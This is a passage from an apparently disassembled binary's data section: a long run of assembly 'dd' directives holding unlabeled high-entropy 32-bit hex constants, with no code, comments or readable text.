5CC7652Fh, 7D3C01CAh dd 0A88CF58Ah, 9FF283F8h, 0C8D805DCh, 5B1893h, 0CD739EBh dd 0CB0DA001h, 831C7300h, 6E05E706h, 0FD6A001Fh, 59DED916h dd 8200EC80h, 19D495B9h, 7270B1Eh, 0B298CDB4h, 503ED0A1h dd 0D03EB005h, 1F000C9h, 0DE090ECBh, 0CFBA07F2h, 0C3EF7267h dd 280F746h, 0D5007EAEh, 0E40B77D3h, 7775E863h, 0D1943B5Ch dd 143D0980h, 918A1DFEh, 0BA034F00h, 457D6E18h, 1A10C098h dd 2C24A623h, 0ABFEAD00h, 4DF354B7h, 0CEE900C4h, 0E8661AD6h dd 8403CB38h, 6F16F01Dh, 0D761819h, 0DDA2C8ACh, 85068800h dd 0CBE4BAC5h, 0B8D259h, 0F28F1BB2h, 1200E838h, 0DD71D2D7h dd 0A77C9FAh, 7B483BE5h, 0C3780B8h, 9EC59B61h, 0D426A10Eh dd 5B0F3F9Fh, 132740A9h, 2D604Eh, 99500E03h, 11E6B989h dd 9539E8F4h, 0BF760082h, 68F88174h, 741C4C17h, 0F7147C00h dd 0D1C5CCE5h, 55743C01h, 0EF2F57E0h, 0FB6D928Fh, 9C6AFA83h dd 0CEB5EEB0h, 0B2B64F00h, 26F58ECCh, 165007F4h, 0C0F0C8EAh dd 4973E4FAh, 2007CB8h, 0AE23A44Bh, 14FE37AAh, 91154455h dd 97D60E01h, 0FC0FFB34h, 1300E7B8h, 0A2471EBEh, 4944BBh dd 6169837Eh, 0C594C28Eh, 8A3F60Bh, 20480EB0h, 97C5CE6h dd 5D2700EBh, 0D730AB3Eh, 2D071941h, 67771654h, 10345620h dd 87D509D2h, 1400FE6Fh, 0F81C8406h, 76675900h, 72817A3h dd 0D057014Ah, 2BFAA891h, 79FDDC0Ah, 5C61F00h, 2D7D5CE0h dd 0C71D1429h, 730ED808h, 33402B2Fh, 0D6F59D7Ah, 0FB0F89F2h dd 20A2A68Eh, 0BFEEC57Dh, 0D236016Dh, 9FA45D2Dh, 0D3E44046h dd 430E3327h, 0F3852FE7h, 0DFC8BE0Fh, 0B3F25400h, 0FB8482h dd 0FD900962h, 0E5BAE0CFh, 7A035800h, 0E4A186D1h, 8ECD04ADh dd 874F2C7Ch, 0DBA6E024h, 0B600A99Ah, 0F8E68651h, 751333h dd 0E374E5AAh, 150CF6B1h, 0DF03F090h, 0A318E139h, 1EFD021h dd 1AE80061h, 0A9C3DDACh, 3800C808h, 3C537802h, 90EFDF27h dd 6A040014h, 0DA7B5976h, 4500CA38h, 0F216E635h, 0A3EA19h dd 0FEDE8457h, 8B4F2830h, 787DB700h, 8F6BE321h, 0B58A00C9h dd 0D4C6BC32h, 4F3E3B24h, 789E803Ah, 567BE4E0h, 12EE1401h dd 3702DC0Bh, 0FDA30C4Dh, 45D01A00h, 0BBED0F1Ch, 0CC0060F9h dd 8CDB1E3Bh, 2D5DE000h, 711B3EC7h, 8A4B00ADh, 0A1453C40h dd 6900E5FAh, 2C372B73h, 4D5714AFh, 0F328F0DBh, 0F12D70DCh dd 72003C1Ch, 0EC901EFFh, 1E0BC3A0h, 43BABE08h, 1661C88Ch dd 0C12D98D0h, 30F3B500h, 0CB533A87h, 0F9809h, 4B55FF61h dd 0E2AF5E0Ch, 40CC764Ch, 0DC0044E6h, 6C69ACDAh, 0E1C3A7h dd 924F1E36h, 93F78E5Ah, 97528A1Fh, 9CAF9DDh, 1E80F08Fh dd 0B5CA3C38h, 349064h, 0CC3E2E1Bh, 16865FA3h, 331D1A13h dd 5E00D3A8h, 0BBA42055h, 50E0C893h, 9B1B3A00h, 0EFCA8B8Ch dd 90E60026h, 0DEEEED3Dh, 0BAF05D49h, 1633EB00h, 0B5DA948Ah dd 8C04000Eh, 0C05CE792h, 0F00E624h, 735179D3h, 2F0956h dd 5BFC10B0h, 671357B8h, 29C83300h, 0C2E3C459h, 61B03AE7h dd 96E1201h, 70350A5Ah, 0A5136D58h, 6C4FBCDDh, 0EA8F0h dd 71886B91h, 9700F20Fh, 4C578EE3h, 878A7Ah, 0DDD39EAFh dd 1CAD9CAAh, 0D2C4820Eh, 265A47E8h, 3B313C80h, 0C6DF008Eh dd 0EC898446h, 4300799Fh, 0C7F92678h, 4F7E63h, 3B74EB69h dd 1309484Eh, 0E9B0A071h, 0B21C6BB0h, 0D43A814h, 90072D85h dd 12BF02DAh, 0F3CEE3h, 51405840h, 90BA64Eh, 801E14B1h dd 0DFA0451Ch, 0DB23BAEh, 0B3823580h, 23B8A851h, 8E312603h dd 0C0C1489Fh, 362718h, 0BB40A489h, 7BCAB5C6h, 7AD8680Ch dd 16F060E0h, 40639556h, 65525168h, 1C749341h, 3BB6E218h dd 0E1A4B118h, 6EC2CCE0h, 0FD601004h, 2C722124h, 0CE301500h dd 0BBB31C47h, 0E3AF00F7h, 3B4EDD3Ch, 0C6037CFCh, 0C246876Ch dd 113802DBh, 81831FB0h, 0C6083C8Bh, 16620F48h, 0B8E9D4C0h dd 8EECD16Ch, 8C1114A0h, 4E7C1700h, 0D6A9AB5Fh, 25CA0028h dd 8806058Ah, 37FA7A9Fh, 0FB00767Eh, 31D9C702h, 18F71FB2h dd 18658DCFh, 881FCC60h, 3BEBF2Bh, 813767D4h, 0C6E9B62h dd 0FCC71B20h, 0F70358E8h, 91CC82EDh, 0C330000Ch, 3F57895Ch dd 0FE0FC986h, 9AB8FA45h, 40A28C40h, 85293CCAh, 0AB7DE90Fh dd 99144E03h, 0FAF00184h, 0D1805A4Fh, 0C1D691DBh, 0DC28057Dh dd 96F880C9h, 90214F67h, 3181898Ch, 1951EFD2h, 0A0B341B2h dd 0FCD18563h, 0C40352D3h, 6DF1F3h, 70A6CB49h, 7C5EF62Ah dd 81F0FB41h, 77E0010h, 0F74E8760h, 4D7C8201h, 0C24F7801h dd 0A8C32DAAh, 71EA609Ah, 0A650F260h, 0A7773A00h, 0A9AAF29Ch dd 23210AB1h, 3A304ACh, 500C76FEh, 1C8D2E0h, 0F2DA9B00h dd 0ED860AAFh, 91A31F37h, 3BDF85Fh, 2215E300h, 0DDD96B75h dd 7A37C800h, 901021CBh, 0A8D3E2h, 9F8054E4h, 25009BBDh dd 72423006h, 88EFC1h, 64F91D36h, 5A6B075Bh, 8E00F0E0h dd 53FBA568h, 0F3DF60h, 0C171618Bh, 62931254h, 8580203Ch dd 7F5D410Eh, 0D7F9DCC0h, 380BA53h, 675B7B6Fh, 748859E5h dd 0BF0089FDh, 8D427CA4h, 6B0A50h, 0DC7D52FCh, 2CACFB85h dd 817E2900h, 653BC1B0h, 5CDAE877h, 0D530B892h, 0FB8DE259h dd 0F7D66C00h, 0B4D0D3CEh, 0AF47033Ch, 27EE09F1h, 0ACD101B0h dd 76AC6A4Eh, 8849100Bh, 0FDB42420h, 2558BEB2h, 0AE73789Ah dd 2CA2B600h, 0C849797Bh, 3EA17676h, 5F000F10h, 0C2AFA42Dh dd 91E64CAh, 4D00DD79h, 9F52C8BCh, 0E8B50037h, 90E4FC66h dd 620057BFh, 0A4ECB95Bh, 9808AA8Eh, 538D091Bh, 998ECE2Ah dd 0B380CDEEh, 0FEB294Dh, 0C6E8A14Ah, 13C68801h, 0F4DD4AD6h dd 9F0F2B4Ch, 58631585h, 2549CF20h, 20804DC6h, 227A017Ch dd 2E291D00h, 0E2956460h, 6F13009Fh, 0B9F29AA5h, 611E9674h dd 0B81E41D3h, 0AB2D8287h, 0DDEDAA10h, 0B3BA3CE3h, 3796287Ah dd 3F56C093h, 353B01Ah, 7D006C92h, 20275102h, 0BCB49Ah dd 5D21CC97h, 2D0C0A49h, 0BB703202h, 0A0E4BDECh, 0F7C865C4h dd 0DE73E6h, 604907B9h, 84A96799h, 8200A896h, 4F867C95h dd 7139004Bh, 0F16E6C6Fh, 76014026h, 0EC1BCBC5h, 9C285572h dd 74BF3A80h, 0D7F642EBh, 8C7BBAFEh, 0AEC12E00h, 0D410DD1Fh dd 0C7F400BDh, 43CC1E85h dd 15F6373Fh, 738A5E07h, 84879087h, 623DCB50h, 0D7E917EEh dd 86390175h, 416A11DAh, 34EC93B8h, 5C380A14h, 982B9435h dd 725F00E4h, 107A5B53h, 16AF7F06h, 1694E94Bh, 1D8013Ah dd 0C0373B60h, 22008B4Dh, 0DDE32F04h, 4805DF4Ch, 0BC03F2ADh dd 0CE32B27Ch, 0A8943AD0h, 5B0130B2h, 87B3EB04h, 0C960B95Dh dd 0AC35006Fh, 29B4BA7Bh, 59348FE0h, 0D002C625h, 0CA52E8h dd 6C3AD9F2h, 7202B390h, 4FFE6A16h, 11E88062h, 7EA1E15h dd 6CD540F0h, 0F9910A6h, 44960D13h, 0AAE00800h, 0AEB0796h dd 0FEC8B01Bh, 0C3380FCh, 0D9C04AF4h, 8141D9A0h, 97D8A600h dd 6750EF01h, 440800B6h, 2D8715BBh, 8C1D3141h, 450086A5h dd 0ECDA18F6h, 0C0A05ACBh, 0FA534BF5h, 7C0099E4h, 0B6503E32h dd 0EF01D27h, 3A5DF354h, 482CAC9h, 18605B8Fh, 2600D30Bh dd 7B7A4720h, 488D25DAh, 0BF008D82h, 0DEE5E4F5h, 0FDFACE9Fh dd 8430FE00h, 3C970CF1h, 9B03014Fh, 0B03F42CFh, 0C28BE05Ch dd 1C790D3Bh, 2E00DA93h, 7D6CA626h, 717043h, 51FB7FB6h dd 5E5A5046h, 8B16FD00h, 1BA0A707h, 0FC911837h, 963C1990h dd 9D2E3500h, 1F61DEA9h, 1B540027h, 5BE704BFh, 39003B7Fh dd 12692A96h, 7ECA0B4Ah, 0BEDE0107h, 47067965h, 2FC0C60Ah dd 990042C8h, 247FDFF1h, 4F3DE29h, 155CE0CFh, 80E885D2h dd 5A90E9C0h, 8ECDC505h, 449061EDh, 18B859Ch, 0F15B75B2h dd 0D052A4A6h, 6700DFD3h, 4DD8061Dh, 13252Ah, 9CC1C795h dd 0EAB1D58Dh, 2BD90864h, 127814A0h, 1DD4FE8Bh, 5F800193h dd 0D04C7D0Ah, 0F40069E2h, 0F3DC01DEh, 5D2D524Ah, 0C10C7CF9h dd 0FE423713h, 9AFD2A00h, 0A7549E9Bh, 64400082h, 0AEBC587Dh dd 753E5B22h, 8E2100A5h, 36953F28h, 0FB8A0B2Eh, 48F5EA3h dd 39645F61h, 2D3C349Fh, 26411A00h, 87BDC63Fh, 8F290036h dd 0B9C3A7D1h, 4448F9EFh, 569B0060h, 9DA12377h, 0EDDC1C26h dd 8A52CDh, 1F34D7D8h, 7D0422F9h, 0B1EE5153h, 0BE7F1880h dd 0AD080EA9h, 3B60DC5Fh, 0E844E561h, 0E965E70Ah, 7D1D964Bh dd 0A772DC0h, 2493B8h, 0A4E2F96Fh, 0BA6BFA48h, 7C7E2700h dd 95382914h, 81DF1896h, 2CCC5853h, 3DD52F13h, 5ED72440h dd 90B1741Bh, 985300F3h, 0C49FDBA5h, 2E0303EEh, 7DE6A45Dh dd 7E52A8CDh, 53A2072Ah, 0F0FDE081h, 78F76D01h, 46752F00h dd 0EDAD5B48h, 84EA0049h, 24515E2Bh, 9C070BF9h, 0DB677B38h dd 18D0BB70h, 0EC9B24F8h, 9BD243Ch, 8C007E01h, 908D5623h dd 338B4903h, 0A0F68E11h, 0C57F55BCh, 0A1D8AC20h, 8011A720h dd 9E818220h, 4BBE00AEh, 5DD38A60h, 330E12BFh, 60C7E7CAh dd 0BBA091CEh, 47600742h, 11BE1C88h, 0C56880DCh, 0FDD8EC97h dd 2DA93A00h, 0AC783562h, 6FB30022h, 5F035E3Bh, 11E1005h dd 8980A7A9h, 270FC888h, 0BB63D19h, 24DEAD81h, 30D06A0Eh dd 5706F117h, 4A085A8Bh, 580901A8h, 0A9E28AB7h, 0E6A0F486h dd 14161C12h, 0CCF2A700h, 2615BCDDh, 3E500B7Eh, 0B313B880h dd 0C79B19BBh, 1AEF7101h, 9C2BFD42h, 7EEC4C60h, 3C0B049h dd 537BBAB7h, 4B8339Eh, 0DA071BE6h, 5E3F6041h, 90CCD00h dd 0FEF60059h, 0EAFB74F5h, 0AB03F8B8h, 26A2BC42h, 0B30988C7h dd 0E9B40091h, 7EF173BDh, 2D09AFD0h, 489BB230h, 3D1AA5D4h dd 3A80FFE3h, 86D4798h, 14CB5FAh, 9A79003Ch, 0C7CCF0C6h dd 337C0390h, 0C00CBA9Bh, 80938BC9h, 0C10FBD4Ch, 9518DD4h dd 97085CD1h, 934C4400h, 43046F1Ch, 0CFA27D2Dh, 454E24D0h dd 0BE6200FCh, 0E67BD46Ch, 6FE8C983h, 4C79D828h, 63878600h dd 0B4AE17BFh, 0AFDF0F85h, 258037B7h, 9555B6CAh, 0D4F0A600h dd 0DF1B19C8h, 3BD87426h, 6E80F110h, 3A777D83h, 580049DEh dd 464B6557h, 4D6730h, 9312FF5Ch, 27F17D9Eh, 107C3CE6h dd 83D76009h, 0B1546886h, 4BFD3C1Ch, 99DD6074h, 6A77E249h dd 1403A096h, 6795FDh, 7C335931h, 50F7AAE5h, 7DC0AE0Ah dd 66007CA0h, 43721C5Bh, 52B9F846h, 262088C8h, 0DB039894h dd 0E0F66EC2h, 25289570h, 8CA01235h, 6FF9504Eh, 5AD33200h dd 87C21C4Ah, 0C40D09E9h, 0ABD8D9h, 9E6F0E77h, 85C0AE5Dh dd 59E908FBh, 0DC053AB3h, 0CF734880h, 0D6843F81h, 374B4200h dd 1955C48Ch, 0F4405833h, 0B2DB7D07h, 0C534C03Ah, 0DF54183Eh dd 7402A780h, 0D970E456h, 0F88CD0E2h, 0F7DC0086h, 4B36B4DAh dd 44268842h, 0E9016B2Dh, 8D2FC945h, 83D4E731h, 68330081h dd 79D26BBh, 84A8D45Dh, 0C800B8EBh, 7E167183h, 0B3D1B6h dd 0B792789Ah, 9C42785h, 93000F7Dh, 2C59E2D8h, 2AF9CCDEh dd 4C04C4Fh, 94F47DAEh, 0EE3880B1h, 6F0087D1h, 83450ED9h dd 0A09629D0h, 60B968DCh, 2BF7E881h, 7F7FA513h, 0B29E303h dd 90871439h, 7D511277h, 0A1DF0006h, 0EB1CCE28h, 0DE000A2Ch dd 0D96D156Fh, 0E2559FF3h, 562830B5h, 0ABDB4509h, 74CD10C0h dd 0EBFB6Eh, 6011446Ch, 0DD88B093h, 455FD602h, 0C04EE0EFh dd 0C463F711h, 44149029h, 515FDE5Ah, 86921E1h, 1088FA5Ch dd 0CA3788E5h, 47CDD07h, 3D2BAF0h, 0AA1D0033h, 8A7855AEh dd 1A0005E6h, 0BA54ADD3h, 0A35DF6h, 0CB08D009h, 0A85045E8h dd 1302B400h, 0A63B4AE3h, 7C89001Ch, 27E9B930h, 5E00D17Fh dd 0FAF56F01h, 54FD6872h, 0FF80ECh, 161070EAh, 0BA9A6384h dd 0AD754100h, 0B965A919h, 20E70037h, 636FA490h, 0C3008C96h dd 0E64049F7h, 65375h, 0BA177E39h, 0EC6D773Bh, 0B75EDD00h dd 0DA4F4B5Dh, 4D5F0369h, 67EA8E8Dh, 6EB560C0h, 15BCB154h dd 5499AB00h, 7958F235h, 0AFC700FAh, 0C6B667Bh, 2B3F01D8h dd 0DC08007Fh, 6F3C9546h, 97490345h, 1639CCC3h, 0DE6A43E8h dd 0B876ED01h, 203598B4h, 0F1DC0C8h, 4CAAB55Bh, 1CDBB1C1h dd 3B07F879h, 0BB258200h, 0A5A3010Dh, 3D0807C2h, 709010FFh dd 9535555Fh, 71B3C300h, 97800EE9h, 0E43300A7h, 1853D7DAh dd 0C0C05AECh, 614323B7h, 9DE00325h, 412DAAF0h, 8EC0BFCBh dd 0CA0FB30Fh, 0C04D5630h, 0FA9B20F3h, 41B03B83h, 0DC0A6705h dd 7C80BEF8h, 963921h, 0F030333Eh, 0AA902A46h, 8B6B6900h dd 16520FDFh, 941200C6h, 55C1C33Ch, 2804E637h, 5C5DFB81h dd 0B500EEC7h, 0FD64B982h, 3BCAAFC8h, 9580243Fh, 0C39CA59Fh dd 10007A27h, 665C2657h, 3A6A448h, 3FB33A03h, 0B0C7BE5Bh dd 136822A5h, 78FD7400h, 0D25CAE33h, 87F40B31h, 0F9A08BFCh dd 2B53CBEBh, 0B6AF9500h, 82E306B4h, 6B380065h, 0E888D89Fh dd 74024A59h, 62561F9Ah, 0E8E44313h, 7F7A40D6h, 8A36001Eh dd 617744Dh, 0B00F689h, 0AEB37EC3h, 1E978BFDh, 8082B65Eh dd 5FA1A6C6h, 4000E63Dh, 0D553FB23h, 19381Ch, 0A8215E8Dh dd 37272C29h, 32CCC603h, 0B011B8E0h, 7EB081h, 0C2D40AC7h dd 1DA5C0EDh, 99B54B00h, 0CD87D976h, 0B77D7Bh, 0B6651EBCh dd 3BFB1533h, 0C7F05450h, 10FDF31Dh, 7C6B08Eh, 3290DEF9h dd 0DBADEFh, 27770EEEh, 1FDF0EDh, 0C80C3002h, 0C051A07Ch dd 93168h, 0E76C79E5h, 2E4D4B12h, 0F0538628h, 3597A39h dd 0BCF2B7Bh, 43DF813h, 9BE50072h, 0BC7C8F53h, 0EB00F6C3h dd 0F776E15h, 54DA0Bh, 0F1C09D0Ah, 1190FF60h, 20EF7200h dd 0AE3B6124h, 0C81D0045h, 1A629B35h, 26095541h, 7366623h dd 0E270BE6Bh, 0B5E199h, 0D7B8DDD1h, 28538493h, 7CE6300h dd 1EADCA10h, 0BF4C1339h dd 69F1031Ah, 0C4F01FC1h, 0F2F0BA1Ch, 0BC00E5Bh, 2E3361h dd 0CA64EA3Ch, 105A3DFBh, 0EDB18000h, 0B2ECEFC4h, 0F4FC488Fh dd 0C0AB521Eh, 0C68C125Bh, 0F8C02965h, 0B9701459h, 0C22D0098h dd 6AE58EEh, 1B00E29Ah, 858BBC3Fh, 0E04D7154h, 8967043Eh dd 8083527Bh, 4EA14480h, 9C886400h, 430E97A3h, 47E7A75h dd 0F54BAF31h, 39908006h, 69097488h, 802FD8E0h, 8E0CCC50h dd 3424186Ah, 0ABF9A1DEh, 0EEE0C600h, 0E72F3E5Dh, 0E47D00DDh dd 6A34D2C5h, 0A40EBDD4h, 0C01F7E19h, 0DCA920A6h, 1108007Bh dd 0E9F5BB07h, 889870B2h, 0CBC59000h, 29C0EFA0h, 0E701EA58h dd 9E9DECh, 529A04DAh, 7013EA2Eh, 0E44338h, 0B32C8238h dd 0B0A8F089h, 7A74005Dh, 0DAD0BDAAh, 37EEC6EEh, 5013FCECh dd 0DC00A873h, 0B81CC5BCh, 4BFCCCh, 0A6C2157Eh, 0EE92E02Dh dd 0A5D4F4E9h, 0DD022C1Dh, 81B7B00h, 0E0B640h, 1260D8ADh dd 0C2AE2B09h, 0EFCEAC26h, 0BC4CD400h, 0F067BFE9h, 1389A0Ah dd 0F55B793Bh, 87D025EEh, 9556C1E0h, 0D7D3C41h, 7C45B4C4h dd 0BD8E0001h, 3EC1A2Fh, 8407E280h, 0BE57BA3Dh, 0A0EA7EF0h dd 8D8B0093h, 0FD2AB4BBh, 47005451h, 96A663D3h, 0E139684Ah dd 55420h, 81400A32h, 9D594F31h, 0D0232D00h, 51D4868Eh dd 3217FF4h, 739EBD38h, 8DD8F9E2h, 4500AAD5h, 121932C8h dd 4A765Bh, 0ED81DB89h, 0ADD0795Eh, 0DCA55000h, 386FFE11h dd 0E2160034h, 0B47D547Bh, 35013019h, 2022370Bh, 10ECEDF8h dd 0F5951EA9h, 1EF740D5h, 3C15452h, 0F985E216h, 0B25BE600h dd 1DECED16h, 0C39BFC19h, 63EAB04Bh, 8B1026D8h, 53373900h dd 2B1F1755h, 25AC0E8Fh, 54E06678h, 245A829Dh, 13F9DB00h dd 1894C44Ch, 7FC500AFh, 88198314h, 4F0067E0h, 309C12C2h dd 0C95A8Eh, 337AEF15h, 7FB861B7h, 0E4B16270h, 22003D1Fh dd 59296D9Ah, 6EE627h, 34AEE23h, 434E110Ah, 0FA56C300h dd 0A864E39Ah, 0EF380B7Bh, 0CA84BD6Ah, 0D379C131h, 9F08F8BFh dd 0D0002C98h, 7B028A4Dh, 5B3F3B1h, 17D73A69h, 0FB14C096h dd 0FE025C64h, 2220AB76h, 268C4077h, 52BB009Bh, 637DF8BAh dd 0CE000AD2h, 0EB7B9801h, 5C594C50h, 0A61C7DFEh, 4737004Bh dd 7D7446AFh, 0C81FF670h, 7541A3C7h, 0B0514C07h, 4D92EF8h dd 7F222506h, 7C0EC06Dh, 0D4FF4F8Fh, 0E2006705h, 130E3FC4h dd 584211h, 0BCBD07F3h, 36F09EB0h, 3A1A8107h, 51B2A871h dd 4E8C9E6h, 88AF04CEh, 84003894h, 393082BFh, 75476Bh dd 32CB91D5h, 88F57E2Eh, 83E93A00h, 7928A482h, 0F22900D8h dd 349D8024h, 2304DA2Fh, 5C1E56AEh, 3832F8C0h, 7C38092h dd 5DBC609h, 9B60101Bh, 0EA040065h, 1580977Bh, 0E800F80Eh dd 1F813452h, 900F8709h, 0AD3B0070h, 9A6AF45Dh, 69004E3Fh dd 0F6EB778Fh, 0D62D6Bh, 0D11BA64Fh, 0B6641860h, 0E2CB0C00h dd 1F622A1h, 23E00065h, 6DCE0DEBh, 0A8039CC4h, 55D26FCh dd 0F6F4888Dh, 1DCF009Eh, 7C7842ABh, 0E62622CBh, 0D70044AEh dd 0CCD62FBFh, 9F0A0775h, 90FBFF2Bh, 0A8A3670Fh, 61EA3C7Bh dd 8607E87Fh, 3DD6311Ch, 0DE885320h, 5B9400B1h, 16F8BF8Dh dd 0F105324Ch, 0EA6D0F5h, 0C27AE30Ah, 5E1DB200h, 1245C28Ah dd 81783BD6h, 26811AD0h, 7F070038h, 0D96A1210h, 6CED000Eh dd 0F4F5A581h, 460009A3h, 5BA0FA8Fh, 0E0E10EBh, 31197C4Dh dd 2ECF520h, 1D00B881h, 0FE85A38h, 1D35209h, 63E02A26h dd 30A9B4AEh, 0D2046AB0h, 215AAD8Ch, 0BA86E087h, 0E1EB3310h dd 0D6C0C221h, 0DF00AA43h, 543DE95Ah, 0F08DBEB5h, 0D1DE0F14h dd 2E808F10h, 0FBAC5AECh, 6A27DA1Ch, 0D8C88180h, 39F6D8Dh dd 0ED63E11Ah, 5801AA8Bh, 0F99C9255h, 342935C0h, 23453D7Ch dd 19F4E9Dh, 54F961A0h, 22C8E8CDh, 0DE112607h, 10002EB9h dd 15FD7D2h, 48939653h, 0C42204C8h, 29793501h, 5B841001h dd 4B11FE9Bh, 8362FCh, 1F2F443Fh, 3EA02920h, 0A96C8500h dd 8C7B7911h, 888E000Dh, 0B37DE330h, 0E1009768h, 31576080h dd 155223h, 26B063CDh, 2EEDB9F4h, 805BC23Ch, 89D5051Fh dd 23C4E9h, 963D8CE5h, 2E696DF3h, 0D8CEEBE2h, 4BC07D56h dd 62AA36D4h, 3C7A00B8h, 84690432h, 80A96A7Fh, 0FB8EEC8Dh dd 0B7892C02h, 5592DDB6h, 9E497980h, 1C7CDACEh, 7C829B00h dd 0F37F546Bh, 0CC3118B5h, 3DFD69FCh, 5067F630h, 18199FE4h dd 61577A15h, 0E007513h, 2A8543CDh, 24E29DD7h, 8740350Ch dd 7066CBCAh, 957D0DE7h, 4CED6000h, 1147258h, 15E00Bh dd 0F87F3590h, 6F783F8Bh, 0E86152h, 0EE3EA10Bh, 88587F04h dd 0B301AB49h, 0A362A4BCh, 198054B2h, 0B4F6DCB6h, 0BA604A57h dd 44C4DE41h, 1C497EEFh, 4F1D03C9h, 810083B8h, 0D592C2D4h dd 352FA607h, 0F30A551h, 44D07296h, 5F0EDA9Ah, 0C0018AEDh dd 302E19C3h, 40E8184Eh, 86A5E134h, 31B34A30h, 24F582B7h dd 1599BD05h, 4A14A057h, 0F11F9C08h, 0F966Eh, 0F004434Fh dd 0CD005A39h, 0C98B3289h, 0A87079h, 4E15A07Fh, 119F0DD3h dd 144D13Ch, 6E2607B7h, 73ECA8E4h, 99B10156h, 48DF1150h dd 46FCD070h, 8B71706h, 44298188h, 91005277h, 3C935466h dd 3D010B9Bh, 0F19E8D38h, 0E2DE83D5h, 5EB8691Fh, 0CE0F90E1h dd 0A0391548h, 0A963FA27h, 1607861h, 1D10F175h, 0E445AD55h dd 31009A8Ch, 0E6BDEB71h, 77641CAh, 0C0D97AEEh, 992870D6h dd 803EAC42h, 905B805Fh, 3BFBCE94h, 3F1400E8h, 4B6BD4B2h dd 0F50034A1h, 25BB2676h, 0F13A4A5h, 0B12C272Eh, 4C878AC0h dd 0D400B34Eh, 6EEF55DFh, 1823525h, 8E261E8Bh, 0E444989Dh dd 0E300CC8Ah, 0E611F92Ch, 98EB7AA0h, 170A0E6Ch, 970098DFh dd 74128E36h, 8D7F9101h, 75106CA8h, 14187A81h, 40819BCFh dd 9C68A9C0h, 8008F63Ah, 0D6F78E88h, 0F4D26CDh, 0B86BBDCBh dd 68DAF0E1h, 6989C4FEh, 0A055D800h, 0E00BE848h, 763A0029h dd 11235FF6h, 0C707D9F4h, 0C2FA2E70h, 0A5DB7771h, 1AA9E0h dd 84AF651Fh, 0C5E7F210h, 489EA21Ch, 90E88Fh, 2CBD968Eh dd 0C1EA64h, 88FC568Bh, 0F0E40BDCh, 93F34100h, 0C2AFBBDBh dd 1028006Dh, 503A99ACh, 60055F6h, 65FE89FFh, 0F47C81Ah dd 5B53B471h, 4C9C27C0h, 4D004A7Fh, 9112A74Eh, 1B58CD1h dd 0E206E826h, 0CC5E9A9Fh, 7401FFC2h, 6BF3BAE0h, 0B06EC422h dd 0D63D3F91h, 0B839FD5Ch, 0BC3C0049h, 0FDECC178h, 0EDE603FEh dd 3AA584BDh, 0D8E0F483h, 11009E1Bh, 52A46F6Dh, 0FE9995h dd 2E309B6Bh, 96D38869h, 0BC36E300h, 5A6FAED6h, 0B64E0223h dd 444FE2EEh, 94FA0740h, 0D0646630h, 2959CFh, 0CC0B5127h dd 806014C5h, 0CAFE5Ch, 551F56DFh, 38A5E787h, 800EACFh dd 0C7AA5D96h, 84909986h, 1A4633Ch, 87D3BD01h, 0D182B4D8h dd 0A6978021h, 0E2FB0E16h, 0BB45CB37h, 0A983C04Ch, 9600F0BAh dd 0AD492F60h, 0CF13DFh, 5B73B6D2h, 0C3226F3Fh, 96E2F200h dd 0E3F5426Bh, 0CE0F4D1h, 409116B3h, 84A0198Ah, 8D73449Ch dd 6E023Bh, 47E089EFh, 1C0392F9h, 0CE370F21h, 63E0BDE7h dd 0E5F239Ch, 9FBBC900h, 0FC6650AFh, 0A2980165h, 91FD5E3Bh dd 744EF8F0h, 0D9528600h, 65E1B985h, 6090FC22h, 8FDC90C9h dd 1938A899h, 1C50335h, 0E0F23CF5h, 0E53B9Ch, 34751B04h dd 2CB6A653h, 91029406h, 2248FF2Eh, 0A2006763h, 418909B1h dd 0E51557Fh, 22575601h dd 0D1059B00h, 5B03CBB6h, 0FDE3A4EDh, 0C3819832h, 89570183h dd 106EF29Ch, 91F3D450h, 0AC3F2000h, 691A8BAEh, 1F79004Eh dd 56DB4AAh, 61007148h, 0C5E118A9h, 0B386BCh, 32E6AB20h dd 3A77C364h, 52FAAD01h, 0BB55E5CBh, 0B8591CE8h, 0FFEF00F3h dd 51AC579Ah, 1700B979h, 0E120F08Bh, 18860B3Dh, 0D1444616h dd 0E43DCBF1h, 0E1CF8051h, 94A1E272h, 0C28C006Ch, 0A2BB9758h dd 0FE00137Bh, 703A64B6h, 38FD0FC0h, 701EFEAh, 6968377Dh dd 0B352E491h, 8F98EE39h, 0C0646B58h, 8966FDA7h, 0FB8F0755h dd 0AA11B6ADh, 315980A0h, 53704236h, 8100B390h, 370ED499h dd 9AB279h, 1E7449F1h, 8421B3FCh, 0FA0BD100h, 1BD95720h dd 0D9B00E8h, 90C1C222h, 90016F0h, 0AB89EA65h, 450235Dh dd 0FEDBA6B3h, 5B1083C0h, 0BBC27482h, 712132C0h, 3E031BE4h dd 0FBEBD959h, 2C49007Ch, 0CC2BD4A1h, 7A3814E9h, 5BD2004Bh dd 2976C41h, 0FB191F63h, 3053D801h, 4C3CF78Dh, 94A8545Ch dd 2658FDF8h, 0B19B0437h, 18C8C87Bh, 44E500E1h, 0E31EBE02h dd 7D1EAAFCh, 7E8099D0h, 1363EEA4h, 92393BF2h, 1D478700h dd 795E0D5Fh, 0F09D9600h, 37F369DCh, 0ECF40080h, 9E1C0861h dd 0E2072D01h, 3DE4532Ch, 5276808Fh, 0FDCF41h, 1A2D6DBh dd 8FA3163h, 3F09DC00h, 3AD20FD1h, 569100B8h, 629CA42Dh dd 827CA8E3h, 9E7C3Eh, 18DF32AEh, 0C19536h, 5E50B969h dd 6403AFE4h, 44E86801h, 0C0968226h, 3206C0h, 4C986CA0h dd 0D1702FEBh, 0DA001271h, 89E1ED33h, 14F0A1E3h, 94E73CAEh dd 0F31A3Fh, 26F5FDF7h, 0CEB72A15h, 874F7F01h, 0F7004FAh dd 784093C4h, 0C61A003Dh, 94B70B13h, 20B0F5C1h, 0A4183801h dd 0C4559ABh, 0C87B1DCh, 723E844Ah, 8B03C860h, 464BD32h dd 6CD0DF17h, 3AC59CB0h, 0D8D4B72Fh, 0CCC009Bh, 0D484F8ECh dd 28E8587Dh, 0C819EE07h, 830F4696h, 0C150AD62h, 20E81343h dd 0FE370055h, 0B1DE03E7h, 5001EE8h, 6AB70904h, 0B0DCC81h dd 8507D00Ch, 0F7C9E800h, 730540BDh, 258417BCh, 83065003h dd 68781Ch, 51621DB5h, 6A86C9E4h, 5E03C579h, 78BE9CF5h dd 18801E8h, 0D14BA146h, 96408276h, 0FE5C1DEh, 17146700h dd 747470A9h, 0FB8E972Eh, 1410C614h, 301CB249h, 5DD450ECh dd 0BA8100C5h, 3F218D6Bh, 0F10049C1h, 0A905AA0Bh, 86EE69h dd 0A29C1718h, 58BB5F43h, 0FB00AE7Ch, 0A3636E42h, 7B7810h dd 